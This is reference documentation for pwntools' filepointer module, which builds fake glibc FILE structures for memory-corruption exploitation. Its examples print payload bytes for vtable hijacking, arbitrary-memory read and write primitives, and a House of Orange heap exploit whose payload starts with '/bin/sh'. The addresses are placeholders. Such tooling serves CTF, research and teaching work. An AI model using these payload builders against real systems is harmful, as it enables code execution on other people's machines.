# `pwnlib.filepointer` — FILE* structure exploitation

File Structure Exploitation

struct FILE (_IO_FILE) is the structure for File Streams. This offers various targets for exploitation on an existing bug in the code. Examples - `_IO_buf_base` and `_IO_buf_end` for reading data to arbitrary location.

Remembering the offsets of various structure members while faking a FILE structure can be difficult, so this python class helps you with that. Example-

    >>> context.clear(arch='amd64')
    >>> fileStr = FileStructure(null=0xdeadbeef)
    >>> fileStr.vtable = 0xcafebabe
    >>> payload = bytes(fileStr)
    >>> payload
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'

Now payload contains the FILE structure with its vtable pointer pointing to 0xcafebabe

Currently only ‘amd64’ and ‘i386’ architectures are supported

class pwnlib.filepointer.FileStructure(null=0)

  Crafts a FILE structure, with default values for some fields, like _lock which should point to null ideally, set.

  Parameters:

    null (int) – A pointer to NULL value in memory. This pointer can lie in any segment (stack, heap, bss, libc etc)

  Examples

  FILE structure with flags as 0xfbad1807 and _IO_buf_base and _IO_buf_end pointing to 0xcafebabe and 0xfacef00d

      >>> context.clear(arch='amd64')
      >>> fileStr = FileStructure(null=0xdeadbeeef)
      >>> fileStr.flags = 0xfbad1807
      >>> fileStr._IO_buf_base = 0xcafebabe
      >>> fileStr._IO_buf_end = 0xfacef00d
      >>> payload = bytes(fileStr)
      >>> payload
      b'\x07\x18\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\r\xf0\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

  Check the length of the FileStructure

      >>> len(fileStr)
      224

  The definition for __repr__ orders the structure members and displays then in a dictionary format. It’s useful when viewing a structure objet in python/IPython shell

      >>> q=FileStructure(0xdeadbeef)
      >>> q
      { flags: 0x0
       _IO_read_ptr: 0x0
       _IO_read_end: 0x0
       _IO_read_base: 0x0
       _IO_write_base: 0x0
       _IO_write_ptr: 0x0
       _IO_write_end: 0x0
       _IO_buf_base: 0x0
       _IO_buf_end: 0x0
       _IO_save_base: 0x0
       _IO_backup_base: 0x0
       _IO_save_end: 0x0
       markers: 0x0
       chain: 0x0
       fileno: 0x0
       _flags2: 0x0
       _old_offset: 0xffffffffffffffff
       _cur_column: 0x0
       _vtable_offset: 0x0
       _shortbuf: 0x0
       unknown1: 0x0
       _lock: 0xdeadbeef
       _offset: 0xffffffffffffffff
       _codecvt: 0x0
       _wide_data: 0xdeadbeef
       unknown2: 0x0
       vtable: 0x0}

  __init__(null=0)
  __repr__()

    Return repr(self).

  __setattr__(item, value)

    Implement setattr(self, name, value).

  orange(io_list_all, vtable)

    Perform a House of Orange (https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c), provided you have libc leaks.

    Parameters:

      - io_list_all (int) – Address of _IO_list_all in libc.

      - vtable (int) – Address of the fake vtable in memory

    Example

    Example payload if address of _IO_list_all is 0xfacef00d and fake vtable is at 0xcafebabe -

        >>> context.clear(arch='amd64')
        >>> fileStr = FileStructure(0xdeadbeef)
        >>> payload = fileStr.orange(io_list_all=0xfacef00d, vtable=0xcafebabe)
        >>> payload
        b'/bin/sh\x00a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfd\xef\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'

  read(addr=0, size=0)

    Reading data into arbitrary memory location.

    Parameters:

      - addr (int) – The address into which data is to be written from stdin

      - size (int) – The size, in bytes, of the data to be written

    Example

    Payload for reading 100 bytes from stdin into the address 0xcafebabe

        >>> context.clear(arch='amd64')
        >>> fileStr = FileStructure(0xdeadbeef)
        >>> payload = fileStr.read(addr=0xcafebabe, size=100)
        >>> payload
        b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

  struntil(v)

    Payload for stuff till ‘v’ where ‘v’ is a structure member. This payload includes ‘v’ as well.

    Parameters:

      v (string) – The name of the field uptil which the payload should be created.

    Example

    Payload for data uptil _IO_buf_end

        >>> context.clear(arch='amd64')
        >>> fileStr = FileStructure(0xdeadbeef)
        >>> payload = fileStr.struntil("_IO_buf_end")
        >>> payload
        b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

  write(addr=0, size=0)

    Writing data out from arbitrary memory address.

    Parameters:

      - addr (int) – The address from which data is to be printed to stdout

      - size (int) – The size, in bytes, of the data to be printed

    Example

    Payload for writing 100 bytes to stdout from the address 0xcafebabe

        >>> context.clear(arch='amd64')
        >>> fileStr = FileStructure(0xdeadbeef)
        >>> payload = fileStr.write(addr=0xcafebabe, size=100)
        >>> payload
        b'\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00'

  __weakref__

    list of weak references to the object

pwnlib.filepointer.update_var(l)

  Since different members of the file structure have different sizes, we need to keep track of the sizes. The following function is used by the FileStructure class to initialise the lengths of the various fields.

  Parameters:

    l (int) – l=8 for ‘amd64’ architecture and l=4 for ‘i386’ architecture

  Return Value:

    Returns a dictionary in which each field is mapped to its corresponding length according to the architecture set

  Examples

      >>> update_var(8)
      {'flags': 8, '_IO_read_ptr': 8, '_IO_read_end': 8, '_IO_read_base': 8, '_IO_write_base': 8, '_IO_write_ptr': 8, '_IO_write_end': 8, '_IO_buf_base': 8, '_IO_buf_end': 8, '_IO_save_base': 8, '_IO_backup_base': 8, '_IO_save_end': 8, 'markers': 8, 'chain': 8, 'fileno': 4, '_flags2': 4, '_old_offset': 8, '_cur_column': 2, '_vtable_offset': 1, '_shortbuf': 1, 'unknown1': 4, '_lock': 8, '_offset': 8, '_codecvt': 8, '_wide_data': 8, 'unknown2': 48, 'vtable': 8}